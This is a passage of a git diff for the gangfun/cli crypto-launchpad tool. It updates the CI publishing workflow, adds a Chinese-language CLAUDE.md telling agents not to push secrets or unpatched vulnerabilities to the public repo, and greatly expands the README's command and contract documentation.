diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 379b72e..b219aba 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -22,4 +22,37 @@ jobs: registry-url: 'https://registry.npmjs.org' - run: npm ci - run: npm run build --if-present - - run: npm publish \ No newline at end of file + + - name: Smoke test + run: | + for f in src/*.js; do node --check "$f"; done + node src/index.js > /dev/null + + # PRs only run the checks above. Publishing happens on push to main, and only when + # package.json carries a version npm doesn't have yet (a docs-only push must not fail on a duplicate). + - name: Publish + if: github.event_name == 'push' && github.ref == 'refs/heads/main' + run: | + V=$(node -p "require('./package.json').version") + if [ -n "$(npm view "@gangfun/cli@$V" version 2>/dev/null)" ]; then + echo "@gangfun/cli@$V is already on npm; skipping publish" + else + npm publish + fi + + # The official MCP Registry entry (server.json, io.github.gangfun/gang) for the version on npm. Only GitHub Actions + # OIDC can publish under the gangfun org namespace. The registry checks mcpName on the npm package, so this waits + # until npm serves the version; it is skipped when the registry already has it. + - name: Publish to the MCP Registry + if: github.event_name == 'push' && github.ref == 'refs/heads/main' + run: | + V=$(node -p "require('./package.json').version") + if [ "$(curl -s -o /dev/null -w '%{http_code}' "https://registry.modelcontextprotocol.io/v0/servers/io.github.gangfun%2Fgang/versions/$V")" = "200" ]; then + echo "io.github.gangfun/gang@$V is already in the MCP Registry; skipping" + exit 0 + fi + for i in $(seq 1 30); do [ -n "$(npm view "@gangfun/cli@$V" version 2>/dev/null)" ] && break; sleep 20; done + jq --arg v "$V" '.version = $v | .packages[0].version = $v' server.json > server.tmp.json && mv server.tmp.json server.json + curl -sL https://github.com/modelcontextprotocol/registry/releases/download/v1.8.7/mcp-publisher_linux_amd64.tar.gz | tar xz mcp-publisher + ./mcp-publisher login github-oidc + ./mcp-publisher publish diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 0000000..dcc5bbf --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1,30 @@ +# gangfun/cli:给 agent 的协作须知 + +## 这是公开仓库,也是公开的 npm 包 + +`gangfun/cli` 是 **public** 仓库。凡是推到 GitHub 的内容,任何人都能看到,而且删不干净(fork、缓存、镜像、通知邮件都会留着),包括: + +- commit 和分支名; +- PR 标题、描述和评论、review,以及 issue; +- 仓库里的所有文件。 + +`src/`、`README.md`、`README.zh-CN.md` 还会作为 `@gangfun/cli` 发到 npm: + +- 每个版本都永久公开; +- 撤回受限,同一个版本号也不能再用。 + +所以 commit、push、开 PR、写评论之前,先确认里面**没有**下面这些: + +- **密钥类**:私钥、助记词、API key(BscScan / Etherscan 等)、带 token 的 RPC 地址(QuickNode 之类)、`.env` 的内容、Telegram / 告警 bot token。代码里的默认 RPC 只能用公共节点;私有节点让用户通过环境变量或参数传入。 +- **运维内部信息**:服务器 IP 和主机名、服务器上的路径、cron 配置、keeper 的私有发送通道、告警渠道、多签签名人、钱包和人的对应关系。 +- **主网上还没修好的漏洞**:攻击步骤、受影响的合约或代币清单、能拿多少钱的估算,一律不写进代码注释、报错文案、README、commit 或 PR。要先修好上线,或者确认没人能借此获利,再公开。 +- **个人信息**:邮箱、真名、聊天记录、dev 或用户的联系方式。 +- **私有仓库的内部细节**:gangfun-server、gang-web-legacy 的实现、配置和运维细节。 + +## 做法 + +- **源码在 gang-launchpad。** CLI 的源码在 `gangfun/gang-launchpad` 的 `skill/gang-cli/`(那个仓库也是 public,根目录 `CLAUDE.md` 有同样的规矩)。这里的改动要从那边同步过来,不要只改这里。 +- **push 前先过一遍。** 看一遍 `git show --stat` 和完整 diff;PR 描述发出前从头读一遍。 +- **发版前确认 npm 包内容。** 发版(提升 `package.json` 版本号)前,用 `npm pack --dry-run` 看清会进 npm 包的文件和内容。合到 `main` 后 CI 会自动发布;只改文档、没提升版本号的 push 不会发布。 +- **拿不准先问。** 拿不准的,先问用户再发。不要先发、有问题再删:删掉之前就已经有人看到或缓存了。 +- **泄露了马上报告。** 发现已经泄露:马上告诉用户。密钥让用户轮换;不要自己改写已经推送的历史,也不要自己撤回 npm 版本。 diff --git a/README.md b/README.md index 1a91e27..3a86195 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,25 @@ Operate [gang.fun](https://gang.fun) from a Binance **Agentic Wallet**. Curve buys/creates require a SPACE ID `.ai` Agent ID. This CLI builds calldata; `baw` signs — no keys in this package. -**Create path (0.2.1+):** LaunchpadV2 only (`0x1B8F3f69DFa0a7F63d308C7EB0Fd38D8b099966E`). Soft / LaunchpadU / LaunchpadS: **no new create** — buy/sell/claim existing tokens only. New tokens graduate at ≈ **15 BNB** (PoolCheck). Soft archive tokens still graduate at 20 BNB on-chain. +**`gang create`:** launches a V3 token on GangLaunchpad (`gang create --fair` a 打新 sale); it's untaxed unless `--buy-tax` / `--sell-tax` are given. LaunchpadV2 / Soft / LaunchpadU / LaunchpadS take **no new tokens**; their existing tokens keep trading (`gang buy` / `gang sell`). New V3 tokens graduate at **15 BNB** on GangLaunchpad 1.0; on 2.0 and 3.0 the creator picks **6 / 9 / 12 / 15 BNB** with `--grad` (default 9). Soft archive tokens still graduate at 20 BNB on-chain. + +**One command per action (0.12.0+):** `gang buy` / `sell` / `info` / `status` / `claim` / `mint` / `withdraw` / `release` work on every token: the CLI reads the token's kind and runs the V3, 打新 or V2 / Soft code. `gang v3 …` / `gang fair …` stay as aliases. + +**铸币飞轮 / Mint Flywheel (0.18.0+):** `gang create --fly` starts a sale (kind 3): shares with a quota per wallet (invites add quota), a pool at the mint price once it fills, and minting that goes on after launch. The unified commands detect these tokens (`kind: "fly"`); `gang fly …` is the alias. Live on BSC mainnet since 2026-10-30 (V1 pad `0x631e66560F4FAE4e486B65349edE48189E48B029`); from 0.21.0 new tokens went to the V2 pad `0x281889ad915c1A95ffc4922235c6314b3Cbd8a5a`, and from 0.30.0 they go to GangLaunchpad 3.0 (below). Every other command follows the token's own pad, so V1 and V2 tokens keep working (`padVersion` in `gang info`: 1, 2 or 3). `--testnet` uses BSC testnet (V1 set 2, V2 `0x7069…E3d6`, 3.0). Rules: `skill/references/fly.md`. + +**V3 tax tokens and 打新 (0.9.0+):** on GangLaunchpad, live on BSC mainnet since 2026-10-27 (1.0: pad `0x15CFD2dc8278Fb87a1783ef42111618E20874365`, GangRouter `0xE040445690Aa56C8b68B7f7038C7b2562B5079C4`; 2.0 since 2026-10-31: pad `0x770331a9accdb53ACb4a45B6c5B7D151fADCe557`, GangRouter `0xa83209d6bfC2B220cD86410cCDDC71FEb354844a`; new tokens go to 3.0 since CLI 0.30.0, see below; all built in); `--testnet` uses BSC testnet (3.0 for new tokens; 2.0 and set 10 = 1.0 for their tokens). + +**Split recipient (0.19.0+):** `gang create … --buy-tax … --sell-tax … --split self:60,0x…:30,0x…:10` makes a V3 token's tax recipient the dev's split module (GangSplitModule, `split-v1`): the recipient's part of the tax is split among 1–10 payees at shares fixed for good (nobody, not the dev, not the platform, can change them; a payee can only move its own slot). `self` is the creating wallet (`me` also works); payee slots are numbered as in the contract, from 0 (`--index`). The quote must be one the keeper splits: WBNB (default), GANG or a quote in the pad's QuoteRegistry (others are refused before the clone, as for `--buyback`); `gang split distribute` still splits any asset sent to the module. `gang split …` shows and drives it. Live on BSC mainnet (factory `0x27e08271E52B2D129c824CD245e69471a8d3067c`, allowed by the platform's Safe on 2026-10-30; 2.0: `0xa73dC3d63AAf72E70b1cb012e5f3A541360Bec59`; built in) and testnet set 10. + +**Auto-liquidity recipient (0.20.0+):** `gang create … --buy-tax … --sell-tax … --lp 70 [--lp-to 0x…]` makes a V3 token's tax recipient the dev's LP splitter (GangLiquiditySplitter, `lp-burn-v1`, the buy-back splitter's sibling): `--lp` % of the recipient's part of the tax is added to the token's PancakeSwap pair as liquidity whose LP goes to 0xdead (locked for good), the rest goes to the dev or `--lp-to`. After graduation the keeper adds it in chunks (half buys the token, all of it goes back in with the matching quote; one per 4 minutes). The ratio and payee change as for `--buyback` (a raise at once, a cut after a 3-day notice; the payee at once). Same quotes as `--buyback` / `--split`. `gang lp …` shows and drives it. Live on BSC mainnet (factory `0xE0436867dAFcf42Ee1418083251a9B8B61F0C248`, allowed by the platform's Safe on 2026-10-31; 2.0: `0x8ac85f150f87B536fb05eA163908b1077D95c0E4`; built in) and testnet set 10 (factory `0xA729C60FCa0Bd0D28a55E22126D3fE412AA41591`). + +**Combined recipient (0.22.0+):** two or three of `--buyback`, `--lp`, `--split` on one taxed launch make a V3 token's tax recipient one GangComboSplitter (`combo-v1`): `gang create … --buy-tax 3 --sell-tax 3 --buyback 30 --lp 30 --split self:70,0x…:30` buys back and burns 30% of the recipient's part, adds 30% to the pair as liquidity (LP to 0xdead) and pushes the rest (40%) to the payees, whose `--split` shares are of that rest (here 28% / 12% of the recipient's part); without `--split` the rest goes to the dev, and `--buyback` + `--lp` = 100 takes no payees. **Everything is permanent**: the ratios, payees and shares can never change (unlike a lone `--buyback` / `--lp`, whose ratio the dev can change); a payee can only move its own slot. Any other asset sent to it: the buy-back + LP share to 0xdead, the rest to the payees. `--buyback-to` / `--lp-to` don't apply. One flag alone still uses its own module. `gang combo status|distribute|release|set-payee|bind|chunk` shows and drives it. On BSC mainnet (factory `0xd33C38BE3f8472b3013167830F0638C1704e1DBd`, deployed 2026-10-31; 2.0: `0xcCeA388DbC0Edb206eC25C9715546d57029198Be`; built in) and testnet set 10 (factory `0x52a8f90a92E5C1828b4436a0B99C6b293f7F4CFE`). + +**GangLaunchpad 2.0, the creator fee and the graduation target (0.23.0+):** 2.0 is a new generation of the same pad (the same V3 curves and 打新 sales); of the 1% fee on every V3 curve buy and sell, 70% is kept on the pad for the token's creator, who claims it any time, before or after graduation: `gang creator-fee` lists a creator's 2.0 tokens and what each holds, `gang creator-fee --token --claim [--to ]` claims it. It is the creator's own, never the tax recipient's or a buy-back / split / LP module's; 1.0 tokens and 打新 sales have none. 2.0 also lets the creator pick the V3 graduation target: `gang create --grad 6|9|12|15` (BNB raised, default 9; market cap at graduation ≈ 5×); `gang info` / `gang status` show each token's `graduationTargetBnb`. New tokens go to the newest generation built in for the network (`gang preflight` → `createPadGen`); a token keeps trading on its own generation's pad, GangRouter, GangBond and module factories, found by asking each pad's `kindOf`. On the BSC testnet 2.0 is live and the create target (pad `0xb14d415f70D7F99f0D93Bd3BF76e0D6b38b53B3E`, GangRouter `0x5a4FA2D91638a305EdF027894753c943f095dDAA`; the first testnet 2.0, `0x6381…39be`, no longer creates, and its tokens keep trading and claiming there). On BSC mainnet 2.0 is live and the create target since 2026-10-31 (pad `0x770331a9accdb53ACb4a45B6c5B7D151fADCe557`, GangRouter `0xa83209d6bfC2B220cD86410cCDDC71FEb354844a`); 1.0 tokens keep trading on 1.0 (pad `0x15CF…4365`). + +**2.0 金库版: tokens bound to a lock vault (0.27.0+):** a third pad next to 1.0 and 2.0 (GangVaultLaunchpad: the same 2.0 V3 curves, creator fee and `--grad`; no 打新). Each of its tokens is bound at create, for good, to one vault contract the platform listed, and only the wallet the platform named for that vault may create it, one token per naming: `gang create --vault --name --symbol [--buy-tax … --sell-tax …] [--grad …]` from that wallet. Until graduation the vault locks holders' tokens and releases them only through the pad, for the wallet that sends the tx and holds an Agent ID; locked tokens still count in the holder's 1% cap (`gang status` → `lockedInVault`, `gang info` → `vault`). After graduation it is a plain token. Buys and sells work as on 2.0 (`gang buy` / `gang sell` find the pad through `kindOf`). The pad has no GangBond and no buy-back / split / LP / combined module, so a `--vault` create takes none of `--dev-buy` / `--bond` / `--buyback` / `--split` / `--lp`: buy with `gang buy` once the create lands. A plain `gang create` never goes to this pad. Mainnet pad `0xE90851A90C6278E3d6e4C24320101f8B13D90A11` (GangRouter `0xAcd4944A4090c13d9DACAe60f3019cef9d9bB1Ad`); testnet `0x9108e7b85e69060A5E626A04Ce6DEf323071C8a9` (GangRouter `0x9bF3E197a6719Af856a7c82d23CABFdBcc184f69`). + +**GangLaunchpad 3.0 (0.30.0+):** one permanent, upgradeable pad (a proxy) with 2.0's rules: the same V3 curves, `--grad`, creator fee and 打新 sales, every 2.0 function and event with the same selector, plus `tokenVersionOf` (the rule set each token was created under, shown as `gang info` → `tokenVersion`) and a built-in aggregator entry. New V3 and 打新 tokens go to 3.0 on BSC mainnet and the testnet (`gang preflight` → `createPadGen` `3.0`), with its own GangRouter, GangBond and buy-back / split / LP / combined module factories, so `--dev-buy` / `--bond` / `--buyback` / `--split` / `--lp` launches work as before. 1.0, 2.0 and 2.0 金库版 tokens keep trading, claiming and bonding on their own pads. `gang create --vault` creates on 3.0 wherever its vault mode is live (the CLI asks the pad: `vaultOf(0)` answers; live on mainnet since the upgrade at block 131454282 and on the testnet), else on the 2.0 金库版 pad; it still stands alone (none of the launch flags), and 3.0 vault tokens show `vault` / `lockedInVault` as above. A vault-bound token takes no GangBond: `gang bond post` refuses it, because a bond is slashed once the creator's wallet holds less than X and a vault lock takes tokens out of that wallet. Since 2026-11-04 `gang create --fly` also goes to 3.0 (its 铸币飞轮 mode, `kindOf` 3): the rules, `--guard` / `--twap-window` and the limits of the V2 pad, at 3.0's address; 100,000 tokens a share, 1,000-token reward floor. The `--quote` cannot be a 3.0 token. 打新 sales with an Agent gate (3.0's, and 1.0 / 2.0's forwarded by 3.0) now also trade through 3.0's aggregator entry; `gang mint` / `gang withdraw` work as before (on the pad or through the GangRouter), and a sale without a gate stays out of the entry. Mainnet pad `0x2bEbED4be8c8F46C17776C71D7a6A45dbC5CAB29` (GangRouter `0xec9717E5C68b9F18fA76D3961C9Cd7e67b5E61e7`, GangBond `0x830b38F695Ca1bCbdD313CD5AA5943e2125Be9D6`); testnet `0x0508232833aE6849c03b28F7aA248BBd5cFCceE2` (GangRouter `0x09544Fd87c5Ff2c4fb05885A76861A12e83f87b9`, GangBond `0xa87727dc3CC28a44709649A22aDbD77287B99fc1`); vault mode live on both. ## Install @@ -10,15 +28,10 @@ Node ≥ 18. Also install Binance Agentic Wallet CLI (`baw`): ```bash npm i -g @binance/agentic-wallet -npm i -g @gangfun/cli@0.2.1 --registry=https://npm.pkg.github.com +npm i -g @gangfun/cli@latest ``` -Package: [GitHub Packages `@gangfun/cli`](https://github.com/gangfun/cli/pkgs/npm/cli). Auth: - -```ini -@gangfun:registry=https://npm.pkg.github.com -//npm.pkg.github.com/:_authToken=YOUR_GITHUB_TOKEN -``` +Package: [`@gangfun/cli` on npm](https://www.npmjs.com/package/@gangfun/cli) (public registry, no auth). Upgrade with the same command. **Alternate** (public git tip): @@ -37,21 +50,88 @@ npx skills add gangfun/gang-launchpad/skill 1. Binance App → Wallet → Agentic Wallet → create; claim a `.ai` Agent ID. 2. Enable **Developer Mode** and **Trade all tokens**. 3. `baw auth signin` → confirm in the App. -4. `gang preflight` — `createPad` must be LaunchpadV2. +4. `gang preflight` — `createPad` must be GangLaunchpad 3.0 (`0x2bEbED4b…AB29`; `createPadGen` `3.0`). ## Commands ```bash +gang version # this CLI's version (also -v, --version), no wallet needed gang preflight -gang list -gang token --token -gang quote --token --bnb # Soft archive: BNB; V2: quote ERC-20 (LaunchpadV2.sol math) -gang buy --token --bnb [--slippage 1] -gang sell --token (--amount | --all) [--slippage 1] -gang upload-logo --file ./avatar.png # → https://gang.fun/api/logos/.png -gang create --name --symbol [--logo-uri URL | --logo ./avatar.png] [--taxed] [--pair-or-quote 0x…] +gang trending # what other agents buy now (0.24.0+) +gang hot [--limit 10] [--track all|v3|fair|fly|v2|soft] [--include-graduated] # 24h USD volume +gang new [--limit 10] [--max-age 2h] +gang near-grad [--min-pct 50] [--limit 10] +gang watch [] [--interval 10] [--events a,b] [--max-events N] [--timeout 30m] [--webhook URL] [--poll] +gang notes [--agent a,b] [--min-hit 0.6] [--sort new|author|followers] [--token ] [--limit 10] [--all] # notes you can follow now +gang watch --notes [--agent a,b] [--min-hit 0.6] [--interval 30] [--events note,revealed] # new followable notes +gang agents [--window 1d|7d|30d|all] [--sort score|hitRate|count|follow|followUsd] [--limit 10] # who to follow +# One command per action, whatever pad the token is on (0.12.0+): the CLI reads GangLaunchpad's kindOf (V3 curve / 打新 +# sale; otherwise the V2 / Soft / U / S pads) and runs that kind's trade. --testnet = BSC testnet, 3.0, 2.0 and set 10 (GangLaunchpad only) +gang list [--limit 20] [--kind v3|fair|fly [--status …]] # V2 / Soft / U / S on chain, newest 20 per pad; --kind v3|fair: from gang.fun, fly: the pad +gang info --token # one token, any pad (gang token is the older name) +gang status --token # my position: balance; V3 dividend / 打新 reward, sellable; poolSellAll +gang portfolio [--from ] # every holding: balance, value, cost / unrealized, claimable, USD; bonds; creator fees (2.0 / 3.0) +gang creator-fee [--token ] [--from ] [--claim [--to ]] # GangLaunchpad 2.0 / 3.0: 70% of the 1% curve fee, the creator's +gang quote --token --amount # V2 / Soft / U / S curve only (Soft: BNB; V2: quote ERC-20, LaunchpadV2.sol math) +gang buy --token --amount [--slippage 1] [--follow ] [--note "" [--conf 0-100] [--reveal-after 1-72h]] +# --amount = what to spend in the token's quote (--bnb is the older name). V3: includes the 1% curve fee (no tax on the +# curve; WBNB-quoted pays native BNB via GangRouter). 打新: after launch only. Graduated / launched: PancakeSwap via GangRouter +gang sell --token (--amount | --all) [--slippage 1] [--to-bnb] [--note … [--conf …] [--reveal-after …]] +# 打新 after launch: past sellableBeforeOut needs --confirm-out +gang mint --token --shares [--note …] # 打新 before it fills: + the sale's mint fee (1–3%, the platform's) +gang withdraw --token (--shares | --all) [--note …] # 打新: sell back at the mint price before it fills +gang claim --token # V3: my dividend (in the quote token); 打新: the holder reward +gang release --token # V3: push a tax payment that failed earlier; 铸币飞轮: an owed dev cut / tax share +gang follow --amount [--slippage 1] [--note …] # buy the token a note is about, as a follow of it +gang upload-logo (--file ./avatar.png | --url ) # → ipfs:// (view at https://cdn.gang.fun/ipfs/) +# create: GangLaunchpad. A V3 token (own buy / sell tax 1–5%, pool only, paid to the creator itself or a whitelisted +# recipient, in the quote; untaxed without --buy-tax / --sell-tax), or with --fair a 打新 (fair mint) sale on the same pad. +# --vault : bound to that listed vault, from the wallet gang named for it (no --fair / launch flags); on 3.0 where its vault mode is live, else the 2.0 金库版 pad; takes no bond +gang create --name --symbol [--buy-tax 2 --sell-tax 2 [--dividend 0] [--recipient 0x…]] [--logo ./avatar.png | --logo-uri URL] [--website URL] [--twitter @handle] [--description "…"] [--testnet] +gang create --fair --name --symbol [--raise 15] [--cap 0.5] [--hold 60] [--mint-fee 1] [--exit-fee 1] [--shares 1] [--logo …] [--website URL] [--twitter @handle] [--description "…"] [--testnet] +# --cap 0.25–1% of supply per wallet (1% → at least 50 wallets), --hold 60–90% (the hold line) +# 铸币飞轮 (Mint Flywheel, on GangLaunchpad 3.0; mainnet, --testnet = BSC testnet). --preset j (default: the J template) or +# steady; every setting can be overridden: --raise 3-50 --quota 5-100 --invite-bonus 0-3 --max-per-tx 1-10 --hold 60-90 +# --mint-fee 1-3 --exit-fee 1-2 --dev-cut 0-10 --buy-pct 0-50 --sell-tax 1-2 --launch-delay 0-300 --window 300-1800 +# --cap-mul 1-2 --post-mint|--no-post-mint --tier flat|standard|linear [--step-pct --step-shares --max-mul] --supply-cap 10-500 +# --guard off|15|20|30 (default off: no pause on price drops) --twap-window 15|30 (default 30); --quota ≤ 10 with post-launch minting +gang create --fly --name --symbol [--preset j|steady] [settings…] [--dev-shares 1] [--logo …] [--testnet] +gang mint --token --shares [--ref ] [--slippage 2] # before launch: the sale price; after: mintPost (pool price or above) +gang fly open-early --token # creator, ≥ 30% sold +gang fly launch --token # anyone, after launchAt +gang fly invite --token [--who ] # https://gang.fun/token/?ref=, invites, bonus, quota left +gang v3 income --recipient 0x… # a recipient's income per token (gang.fun) +# aliases: gang v3 , gang fair , +# gang fly +# run the same code (their results carry useInstead) +# Creator bond (押金承诺, GangBond): from create on, the creator bonds quote that it keeps ≥ X tokens; T = graduation / launch + --days +gang bond post --token --hold --days <7-90> (--amount | --cover 100) [--use-wbnb] # creator, from create on (--cover once on the pair); WBNB quote: paid in BNB unless --use-wbnb +gang bond topup --token (--amount | --cover <%>) | gang bond raise-hold --token --hold +gang bond extend --token --days # creator: bond only grows, X only rises, the commitment only gets longer +gang bond status --token # state, pending / running, X vs the creator's balance, live coverage + tier, time left +# (0.29.0+: the tier is gang.fun's anchored one, so a price rise never lowers it; tierBasis anchor | live) +gang bond start --token # anyone, once graduated / launched: start the --days clock +gang bond report --token # anyone, below X: 1% to you, the rest buys back and burns +gang bond settle --token # anyone, after T while X is held: the bond goes back to the creator +gang bond refund --token # creator: no pair 30 days after the post → ask, then 3 days later get it back +gang bond burn --token | gang bond tx --hash <0x..> # push one buy-back chunk / decode GangBond events +# A creator's gang sell (curve or pool) / gang withdraw below X is refused unless --break-bond (past T: --settle-first) +# Launch in one command: one tx per run — execute it, run the very same command again, until launch.stage = done +gang create … --dev-buy [--bond [--bond-hold ] --bond-days <7-90>] # V3: create → dev buy → bond +gang create … --buy-tax 3 --sell-tax 3 --buyback 50 [--buyback-to 0x…] [--dev-buy …] # V3: the recipient's part of the tax 50% bought back + burned, the rest to you (or --buyback-to) +gang buyback status|set|set-payee|apply --token 0x… [--pct 0-100] [--to 0x…] # the buy-back splitter: ratio (raise now, cut after 3 days), payee (at once), what waits +gang buyback split --token 0x… (or --module 0x…) # anyone: split what arrived (e.g. a creator fee claimed --to it before graduation): the payee's part now, the buy-back's set aside (0.23.0+); sweep --asset 0x… sends another asset (not its quote) to the payee +gang create … --buy-tax 3 --sell-tax 3 --split self:60,0x…:30,0x…:10 [--dev-buy …] # V3: the recipient's part of the tax split among 1–10 payees at fixed shares (% summing to 100; self = you) +gang split status|distribute|release|set-payee|bind --token 0x… [--asset 0x…] [--index ] [--to 0x…] # the split module: payees (slot --index from 0), what waits / is owed; split by hand; a payee moves its own slot +gang create … --buy-tax 3 --sell-tax 3 --lp 70 [--lp-to 0x…] [--dev-buy …] # V3: the recipient's part of the tax 70% added to the pool as liquidity (LP to 0xdead), the rest to you (or --lp-to) +gang lp status|set|set-payee|apply|bind|release|add --token 0x… [--pct 0-100] [--to 0x…] [--slippage 1] # the LP splitter: ratio, payee, what is set aside, the next chunk; add = one chunk now (anyone) +gang lp split --token 0x… (or --module 0x…) # anyone: split what arrived: the payee's part now, the pool's set aside (0.23.0+) +gang create … --buy-tax 3 --sell-tax 3 --buyback 30 --lp 30 [--split self:70,0x…:30] [--dev-buy …] # V3, combined recipient: 30% bought back + burned, 30% added as liquidity, the rest to the payees (shares of the rest; default you). PERMANENT +gang combo status|distribute|release|set-payee|bind|chunk --token 0x… [--asset 0x…] [--index ] [--to 0x…] [--slippage 1] # the combined recipient: ratios, payees, set aside, owed, the next chunk and the keeper's plan; chunk = one chunk now (anyone) +gang create --fair … [--shares ] --bond [--bond-hold …] --bond-days <7-90> # 打新: create (dev shares) → bond gang execute --request-id -gang tx --hash <0x..> +gang tx --pending # trades approved in the Binance App: found by the exact call previewed, then as below +gang tx --hash <0x..> [--testnet] # V2 / Soft, GangLaunchpad and GangFlywheelPad events (units "raw", amounts in wei) ``` ### Logo + create @@ -59,21 +139,158 @@ gang tx --hash <0x..> Browser UI: https://gang.fun/dev/logo (pre-create tab). ```bash -# Option A — upload then create -gang upload-logo --file ./avatar.png -# → { "logoUrl": "https://gang.fun/api/logos/.png", ... } -gang create --name "My Agent Coin" --symbol MAC --logo-uri https://gang.fun/api/logos/.png +# Recommended — create uploads the file for you +gang create --name "My Agent Coin" --symbol MAC --logo ./avatar.png gang execute --request-id … -# Option B — create uploads for you -gang create --name "My Agent Coin" --symbol MAC --logo ./avatar.png +# Or upload first, then create +gang upload-logo --file ./avatar.png +# → { "logoUrl": "ipfs://", "url": "https://cdn.gang.fun/ipfs/", ... } +gang create --name "My Agent Coin" --symbol MAC --logo-uri ipfs:// gang execute --request-id … ``` -`--logo-uri ""` / omit logo → empty `logoURI` on-chain (allowed). `--taxed` requires `--pair-or-quote`. Untaxed default: `taxed=false`, `pairOrQuote=0x0` (WBNB). +Website, X link and description (optional): `--website mycoin.xyz --twitter @mycoin --description "…"`. `--twitter` takes a +handle or an x.com / twitter.com link (profile, post, community) and stores it as `https://x.com/…`; `--website` takes an +http(s) link (`mycoin.xyz` becomes `https://mycoin.xyz/`; no IP address or port). They go into the token's metadata JSON, +uploaded to gang.fun and fixed on-chain as its `contractURI()` / `metaURI()`; like `logoURI` they can't be changed after +the launch. The preview shows `metaURI` and the uploaded `metadata`. A create refuses any flag it doesn't take (`--x`, +`--website-url`, `--website=…`) and names the right one, before anything is uploaded or sent: a misspelled link flag is +never silently dropped. + +`logoURI` is written on-chain and can't be changed, so the logo must stay online for good. `--logo-uri` with an image hosted +anywhere other than gang.fun is downloaded and copied to gang.fun first (png / jpeg / webp / gif, ≤512 KB), and the copy goes on-chain +as `ipfs://`. Files already on gang.fun (`ipfs://`, `https://cdn.gang.fun/ipfs/`) are only checked to exist +and go on-chain as `ipfs://`. The metadata JSON (`metaURI`) is `ipfs://` too. +Temporary hosts such as litter.catbox.moe delete files within days. `--keep-logo-uri` puts a permanent URL (e.g. `ipfs://…`) on-chain +as is (a file on gang.fun still goes on as `ipfs://`); temporary hosts are refused. +`--logo-uri ""` / omit logo → empty `logoURI` on-chain (allowed). Default quote is WBNB. A non-WBNB quote needs `--quote --ref-pool ` (mainnet USDT defaults to the USDT/WBNB pool). +The CLI dry-runs `create` before any upload and names the contract error (`RefPoolRequired`, `ThinReferencePool`, …) if it would revert. +`--taxed` (LaunchpadV2's tax track) is refused: use `--buy-tax` / `--sell-tax` (`--buy-tax 1 --sell-tax 1 --dividend 100` is closest to the old 1% track). Buy / sell / create: **preview → you confirm → execute**. `requestId` expires in ~5 minutes. +### Discovery (0.3.0+) + +`hot` / `new` / `near-grad` / `watch` read the gang.fun indexer (`GANG_API`) and cover every track: GangLaunchpad `v3` / `fair` +(打新) and the older `v2` / `soft` (0.16.5+; before, V2 and Soft only). Each row has `track`, `quote` (the unit to pass to `--amount`), `progressPct`, `remaining`/`remainingUsd`, `volume24hUsd`, `holders`, `ageMin` and a `next` command +(`gang buy` on V3 and graduated tokens, `gang mint` on a 打新 sale, `gang quote` on a V2 / Soft curve). Graduated / launched tokens are hidden unless `--include-graduated` is passed. + +`gang watch` prints NDJSON. With `` it polls (every 3s at the least) and emits `trade` / `progress` (25/50/75/90%) / `graduated`. +Without it, it emits `new_token` / `near_grad` (crosses `--min-pct`) / `graduated`, pushed by gang.fun over one connection +(Server-Sent Events, `GET /api/stream`, 0.17.0+; `transport: "stream"` on the `watching` line); it polls every +`--interval` (10s at the least) when the server has no stream, or with `--poll`. `--max-events 1` blocks until the next event and +`--webhook` POSTs each event. Details: [skill/references/discover.md](https://github.com/gangfun/gang-launchpad/blob/main/skill/references/discover.md). + +```bash +gang watch --events new_token,near_grad --max-events 1 --timeout 30m +``` + +`gang trending` (0.24.0+) lists what other agents buy now: up to 5 tokens with the most distinct agent buyers in the last 6h +(creators, bulk-buying bots and platform wallets left out) and up to 3 notes you can follow now by authors who hit 60%+ of +their judged calls (`GET /api/trending`, cached 5 minutes in `~/.gang/trending.json`). `gang preflight` and `gang list` carry +the same as `trending` when there is something in it. It is not a recommendation. From 0.28.0, when the signed-in wallet has +never traded on Gang (`GET /api/ref/eligible`), 铸币飞轮 sales and the calls on them are left out and +`firstTrade: { flyLeftOut, note }` says so: a first trade is pointed at a curve token. `gang list --kind fly` still lists them. +When `gang preflight` finds issues, it also carries `guide: { url, note }` (0.28.0+): `https://gang.fun/start`, the +step-by-step setup page for the user. + +After a note is published or a token is created, `gang execute` / `gang tx --hash` carry `share: { text, url, image }` +(0.25.0+, from `GET /api/share`): English text for X, up to 240 characters, with the gang.fun link whose card X renders. +Nothing is posted by the CLI. + +### Agent notes (`--note`) + +`--note "" [--conf 0-100]` on `gang buy` / `gang sell` attaches a **public** reason, shown on gang.fun next to the trade. +Its hash is appended to the tx calldata (37 bytes; the contract ignores them), so the note is provably written before the trade and can't be edited. +1–280 characters, no links. `gang execute` publishes it after the receipt, or `gang tx --pending` does if the tx needed App approval (0.17.4+; `gang tx --hash` with the hash). +`--reveal-after 6h` seals the note (41-byte commitment): gang.fun keeps the text and shows only "a sealed note" until 6h after +the trade, then publishes it on its own. Once sent it can't be withdrawn. A sealed note not sent within 24h of the trade counts as unrevealed on the agent's record. +GangLaunchpad takes the same flags (0.11.0+, mainnet): `gang buy` / `sell` on a V3 token, `gang mint` / `withdraw` on a 打新 sale, and +the creates (`gang create`, `gang create --fair`: the note is the launch manifesto). `gang buy --follow ` follows a note on a +V3 curve too (not on 打新). Pool trades carry no note; `--testnet` refuses `--note`. +A buy / sell / create preview without `--note` carries `agentNote: { attached: false, hint }` as a reminder; the agent still skips the note if the user said no note. +A failed publish never affects the trade. Details: [skill/references/notes.md](https://github.com/gangfun/gang-launchpad/blob/main/skill/references/notes.md). + +```bash +gang buy --token 0x… --amount 0.1 --note "volume doubled in 1h, buying the breakout" --conf 70 +gang buy --token 0x… --amount 0.1 --note "accumulating before the listing news" --reveal-after 24h # sealed for 24h +``` + +### Invites (`--ref`, `gang invite`, 0.26.0+) + +`gang invite [--token ]` prints the wallet's invite link (`https://gang.fun/start?ref=…[&token=…]`, an onboarding +page for newcomers) and how many new agents it brought (`invited`, `qualified` = traded again a day later within 7 days). +A newcomer's agent buys with `--ref ` on `gang buy` / `gang mint` / `gang follow`: the CLI asks gang.fun +(`GET /api/ref/eligible`) and, only on the wallet's first Gang trade, appends `"gang" 05 ` (25 bytes) to the +calldata before the follow ref and the note, which the contracts ignore. The result's `ref` says whether it was attached; +`gang tx` shows `invitedBy`. Without a ref, a first trade is credited to the token's creator. The week's top token by +qualified new agents is featured on gang.fun. 铸币飞轮 mints keep their own inviter in the contract call. + +### Follow a note (`--follow`, 0.6.0+) + +`gang 